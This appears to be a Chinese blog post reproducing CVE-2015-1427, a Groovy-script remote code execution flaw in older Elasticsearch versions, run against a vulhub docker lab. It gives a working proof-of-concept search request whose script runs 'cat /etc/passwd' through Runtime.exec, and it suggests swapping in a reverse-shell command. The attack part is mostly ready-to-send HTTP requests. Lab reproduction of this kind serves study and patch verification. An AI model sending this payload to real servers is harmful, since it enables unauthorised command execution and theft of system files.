攻击机:Win 10

靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场)

 

0x01 影响版本

Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 

 

0x02 漏洞复现

简介:ElasticSearch Groovy脚本被爆出存在远程代码执行漏洞

漏洞复现-CVE-2015-1427-Groovy远程代码执行

该版本存在漏洞风险!!!

与上一篇代码执行一样,这次的执行方式也是,需要首先使用ElasticSearch的目录创建数据,创建成功将如下图所示:

POST /website/blog/ HTTP/1.1
Host: yourIP:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27

{
  "name": "hello1"
}

漏洞复现-CVE-2015-1427-Groovy远程代码执行

 

 然后直接使用POC进行代码执行:

POST http://target:9200/_search?pretty 
{"size":1,"script_fields": {"test#": {"script":"java.lang.Math.class.forName(\"java.io.BufferedReader\").getConstructor(java.io.Reader.class).newInstance(java.lang.Math.class.forName(\"java.io.InputStreamReader\").getConstructor(java.io.InputStream.class).newInstance(java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"cat /etc/passwd\").getInputStream())).readLines()","lang": "groovy"}}}

 

漏洞复现-CVE-2015-1427-Groovy远程代码执行

 

 POST的方式提交,可以修改cat etc/passwd命令为其他反弹shell的命令,具体可以参考上一篇命令执行文章。

漏洞复现-CVE-2015-1427-Groovy远程代码执行

0x03 实验原理

参考:https://www.cnblogs.com/sxmcACM/p/4435842.html

2014年爆出的(CVE-2014-3120),由于搜索引擎支持使用脚本代码(MVEL)作为表达式进行数据操作,攻击者可以通过MVEL构造执行任意Javascript.groovy.sandbox.enabled false

相关文章:

  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-05-20
  • 2022-12-23
  • 2021-11-18
  • 2021-08-05
猜你喜欢
  • 2022-12-23
  • 2022-12-23
  • 2022-12-23
  • 2021-07-12
  • 2021-05-24
  • 2021-11-15
相关资源
相似解决方案